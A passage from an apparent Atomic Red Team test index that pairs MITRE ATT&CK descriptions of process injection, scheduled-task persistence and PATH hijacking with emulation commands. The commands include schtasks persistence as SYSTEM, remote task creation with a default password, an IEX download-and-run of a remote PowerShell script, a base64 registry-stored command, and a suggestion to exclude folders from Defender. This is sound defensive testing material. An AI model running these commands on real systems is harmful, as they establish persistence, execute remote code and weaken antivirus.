        and get its value. (Citation: Microsoft GetWindowLong function) (Citation:
        Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough
        to store a 32-bit pointer and is often used to point to a windows procedure.
        Malware may possibly utilize this memory location in part of an attack chain
        that includes writing code to shared sections of the process’s memory, placing
        a pointer to the code in EWM, then invoking execution by returning execution
        control to the address in the process’s EWM.\n\nExecution granted through
        EWM injection may allow access to both the target process's memory and possibly
        elevated privileges. Writing payloads to shared sections also avoids the use
        of highly monitored API calls such as <code>WriteProcessMemory</code> and
        <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July
        2017) More sophisticated malware samples may also potentially bypass protection
        mechanisms such as data execution prevention (DEP) by triggering a combination
        of windows procedures and other system functions that will rewrite the malicious
        payload inside an executable portion of the target process.  (Citation: MalwareTech
        Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning
        code in the context of another process may allow access to the process's memory,
        system/network resources, and possibly elevated privileges. Execution via
        EWM injection may also evade detection from security products since the execution
        is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating
        EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and
        SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated
        with this technique have also used SendNotifyMessage (Citation: Microsoft
        SendNotifyMessage function) to trigger the associated window procedure and
        eventual malicious injection. (Citation: Elastic Process Injection July 2017)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.011
    atomic_tests:
    - name: Process Injection via Extra Window Memory (EWM) x64 executable
      auto_generated_guid: 93ca40d2-336c-446d-bcef-87f14d438018
      description: Hooks functions of main process to inject a payload via Extra Window
        Memory (EWM) injection technique
      supported_platforms:
      - windows
      input_arguments:
        arch:
          description: Architecture of payload. One of (x64, x86)
          type: string
          default: x64
        exe_binary:
          description: PE binary for EWM injection
          type: path
          default: PathToAtomicsFolder\T1055.011\bin\T1055.011_#{arch}.exe
        payload_file:
          description: raw payload to inject
          type: path
          default: PathToAtomicsFolder\T1055.011\bin\payload.exe_#{arch}.bin
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1055.011x64.exe and payload must exist on disk at specified
          location (#{exe_binary} and #{payload_file})'
        prereq_command: 'if (Test-Path #{exe_binary}) {exit 0} else {exit 1}'
        get_prereq_command: |-
          New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_#{arch}.exe" -OutFile "#{exe_binary}" -UseBasicParsing
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_#{arch}.bin" -OutFile "#{payload_file}" -UseBasicParsing
      executor:
        command: "#{exe_binary}"
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: false
  T1053.005:
    technique:
      modified: '2023-11-15T14:33:53.354Z'
      name: 'Scheduled Task/Job: Scheduled Task'
      description: "Adversaries may abuse the Windows Task Scheduler to perform task
        scheduling for initial or recurring execution of malicious code. There are
        multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111)
        utility can be run directly on the command line, or the Task Scheduler can
        be opened through the GUI within the Administrator Tools section of the Control
        Panel. In some cases, adversaries have used a .NET wrapper for the Windows
        Task Scheduler, and alternatively, adversaries have used the Windows netapi32
        library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110)
        utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)),
        though <code>at.exe</code> can not access tasks created with <code>schtasks</code>
        or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute
        programs at system startup or on a scheduled basis for persistence. The Windows
        Task Scheduler can also be abused to conduct remote Execution as part of Lateral
        Movement and/or to run a process under the context of a specified account
        (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218),
        adversaries have also abused the Windows Task Scheduler to potentially mask
        one-time execution under signed/trusted system processes.(Citation: ProofPoint
        Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide
        Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible
        to defender tools and manual queries used to enumerate tasks. Specifically,
        an adversary may hide a task from `schtasks /query` and the Task Scheduler
        by deleting the associated Security Descriptor (SD) registry value (where
        deletion of this value must be completed using SYSTEM permissions).(Citation:
        SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate
        methods to hide tasks, such as altering the metadata (e.g., `Index` value)
        within associated registry keys.(Citation: Defending Against Scheduled Task
        Attacks in Windows Environments) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Andrew Northern, @ex_raritas
      - Bryan Campbell, @bry_campbell
      - Zachary Abzug, @ZackDoesML
      - Selena Larson, @selenalarson
      - Sittikorn Sangrattanapitak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
      created: '2019-11-27T14:58:00.429Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/005
        external_id: T1053.005
      - source_name: ProofPoint Serpent
        description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New
          Backdoor Targets French Entities with Unique Attack Chain. Retrieved April
          11, 2022.
        url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
      - source_name: Defending Against Scheduled Task Attacks in Windows Environments
        description: Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled
          Tasks. Retrieved July 5, 2022.
        url: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
      - source_name: Twitter Leoloobeek Scheduled Task
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        url: https://twitter.com/leoloobeek/status/939248813465853953
      - source_name: Tarrask scheduled task
        description: Microsoft Threat Intelligence Team & Detection and Response Team
          . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion.
          Retrieved June 1, 2022.
        url: https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
      - source_name: Microsoft Scheduled Task Events Win10
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
      - source_name: TechNet Scheduled Task Events
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        url: https://technet.microsoft.com/library/dd315590.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: TechNet Forum Scheduled Task Operational Setting
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
      - source_name: SigmaHQ
        description: Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule
          Task - Registry. Retrieved June 1, 2022.
        url: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.005
    atomic_tests:
    - name: Scheduled Task Startup Script
      auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2
      description: |
        Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
        the tasks, open the Task Scheduler and look in the Active Tasks pane.
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
          schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
        cleanup_command: |
          schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
          schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Scheduled task Local
      auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71
      description: 'Upon successful execution, cmd.exe will create a scheduled task
        to spawn cmd.exe at 20:10.

        '
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: string
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: string
          default: '20:10'
      executor:
        name: command_prompt
        elevation_required: false
        command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

          '
        cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1

          '
    - name: Scheduled task Remote
      auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd
      description: |
        Create a task on a remote system.
        Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: string
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: string
          default: '20:10'
        target:
          description: Target
          type: string
          default: localhost
        user_name:
          description: 'Username to authenticate with, format: DOMAIN\User'
          type: string
          default: DOMAIN\user
        password:
          description: Password to authenticate with
          type: string
          default: At0micStrong
      executor:
        name: command_prompt
        elevation_required: true
        command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
          "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

          '
        cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password}
          /TN "Atomic task" /F >nul 2>&1

          '
    - name: Powershell Cmdlet Scheduled Task
      auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd
      description: |
        Create an atomic scheduled task that leverages native powershell cmdlets.

        Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "calc.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTask -InputObject $object
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false
          >$null 2>&1

          '
    - name: Task Scheduler via VBA
      auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3
      description: |
        This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
        30 - 40 seconds after this module has run
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n"
        name: powershell
        cleanup_command: 'Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false

          '
    - name: WMI Invoke-CimMethod Scheduled Task
      auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b
      description: 'Create an scheduled task that executes notepad.exe after user
        login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing
        as Register-ScheduledTask cmdlet behind the scenes.

        '
      supported_platforms:
      - windows
      input_arguments:
        xml_path:
          description: path of vbs to use when creating masquerading files
          type: path
          default: PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{xml_path})

          '
        prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml" -OutFile "#{xml_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("#{xml_path}")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false
          >$null 2>&1

          '
    - name: Scheduled Task Executing Base64 Encoded Commands From Registry
      auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba
      description: "A Base64 Encoded command will be stored in the registry (ping
        127.0.0.1) and then a scheduled task will be created.\nThe scheduled task
        will launch powershell to decode and run the command in the registry daily.\nThis
        is a persistence mechanism recently seen in use by Qakbot.  \n\n[Additiona
        Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n"
      supported_platforms:
      - windows
      input_arguments:
        time:
          description: Daily scheduled task execution time
          type: string
          default: '07:45'
      executor:
        command: |
          reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
          schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
        cleanup_command: |
          schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
          reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
        name: command_prompt
    - name: Import XML Schedule Task with Hidden Attribute
      auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4
      description: "Create an scheduled task that executes calc.exe after user login
        from XML that contains hidden setting attribute. \nThis technique was seen
        several times in tricbot malware and also with the targetted attack campaigne
        the industroyer2.\n"
      supported_platforms:
      - windows
      input_arguments:
        xml_path:
          description: path of vbs to use when creating masquerading files
          type: path
          default: PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{xml_path})

          '
        prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml" -OutFile "#{xml_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("#{xml_path}")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false
          >$null 2>&1

          '
    - name: PowerShell Modify A Scheduled Task
      auto_generated_guid: dda6fc7b-c9a6-4c18-b98d-95ec6542af6d
      description: "Create a scheduled task with an action and modify the action to
        do something else. The initial idea is to showcase Microsoft Windows TaskScheduler
        Operational log modification of an action on a Task already registered. \nIt
        will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon
        successful execution, powershell.exe will create a scheduled task and modify
        the action. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "cmd.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTaskModifed -InputObject $object
          $NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
          Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false
          >$null 2>&1

          '
    - name: Scheduled Task ("Ghost Task") via Registry Key Manipulation
      auto_generated_guid: 704333ca-cc12-4bcf-9916-101844881f54
      description: |
        Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
        This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command.
        For further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78).
      supported_platforms:
      - windows
      input_arguments:
        task_name:
          description: Name of the newly-added task
          type: string
          default: lilghostie
        task_command:
          description: Command you want the task to execute
          type: string
          default: notepad.exe
        target:
          description: System where the task should run
          type: string
          default: localhost
        user_name:
          description: Username to authenticate with, such as ATOMICDOMAIN\AtomicAdmin
          type: string
          default: "$env:USERDOMAIN + '\\' + $env:USERNAME"
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      - description: 'GhostTask.exe tool from netero101 must exist in the ExternalPayloads
          directory. This tool may be quarantined by windows defender; disable windows
          defender real-time protection to fix it or add the ExternalPayloads directory
          as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"`

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
          "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
        cleanup_command: |-
          "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
          "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul
  T1037:
    technique:
      modified: '2024-04-16T12:23:13.621Z'
      name: Boot or Logon Initialization Scripts
      description: "Adversaries may use scripts automatically executed at boot or
        logon initialization to establish persistence.(Citation: Mandiant APT29 Eye
        Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts
        can be used to perform administrative functions, which may often execute other
        programs or send information to an internal logging server. These scripts
        can vary based on operating system and whether applied locally or remotely.
        \ \n\nAdversaries may use these scripts to maintain persistence on a single
        system. Depending on the access configuration of the logon scripts, either
        local credentials or an administrator account may be necessary. \n\nAn adversary
        may also be able to escalate their privileges since some boot or logon initialization
        scripts run with higher privileges."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      - Network
      x_mitre_version: '2.3'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Active Directory: Active Directory Object Modification'
      type: attack-pattern
      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
      created: '2017-05-31T21:30:38.910Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1037
        external_id: T1037
      - source_name: Anomali Rocke March 2019
        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
          a New Malware Family Written in Golang. Retrieved April 24, 2019.
        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
      - source_name: Mandiant APT29 Eye Spy Email Nov 22
        description: 'Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved
          August 17, 2023.'
        url: https://www.mandiant.com/resources/blog/unc3524-eye-spy-email
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1574.007:
    technique:
      modified: '2023-10-03T03:29:57.078Z'
      name: Path Interception by PATH Environment Variable
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables used to load libraries. The PATH environment variable
        contains a list of directories (User and System) that the OS searches sequentially
        through in search of the binary that was called from a script or the command
        line. \n\nAdversaries can place a malicious program in an earlier entry in
        the list of directories stored in the PATH environment variable, resulting
        in the operating system executing the malicious binary rather than the legitimate
        binary when it searches sequentially through that PATH listing.\n\nFor example,
        on Windows if an adversary places a malicious program named \"net.exe\" in
        `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe`
        in the PATH environment variable, when \"net\" is executed from the command-line
        the `C:\\example path` will be called instead of the system's legitimate executable
        at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely
        on the PATH environment variable to determine the locations that are searched
        when the path for the program is not given, such as executing programs from
        a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation:
        ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify
        the $PATH variable specifying the directories to be searched.  An adversary
        can modify the `$PATH` variable to point to a directory they have write access.
        When a program using the $PATH variable is called, the OS searches the specified
        directory and executes the malicious binary. On macOS, this can also be performed
        through modifying the $HOME variable. These variables can be modified using
        the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004),
        or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC
        linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic
        Rules macOS launchctl 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
      created: '2020-03-13T14:10:43.424Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/007
        external_id: T1574.007
      - source_name: Elastic Rules macOS launchctl 2022
        description: Elastic Security 7.17. (2022, February 1). Modification of Environment
          Variable via Launchctl. Retrieved September 28, 2023.
        url: https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html
      - source_name: ExpressVPN PATH env Windows 2021
        description: 'ExpressVPN Security Team. (2021, November 16). Cybersecurity
          lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.'
        url: https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/
      - source_name: uptycs Fake POC linux malware 2023
        description: 'Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit:
          Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.'
        url: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware
      - source_name: nixCraft macOS PATH variables
        description: Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable
          Command. Retrieved September 28, 2023.
        url: https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
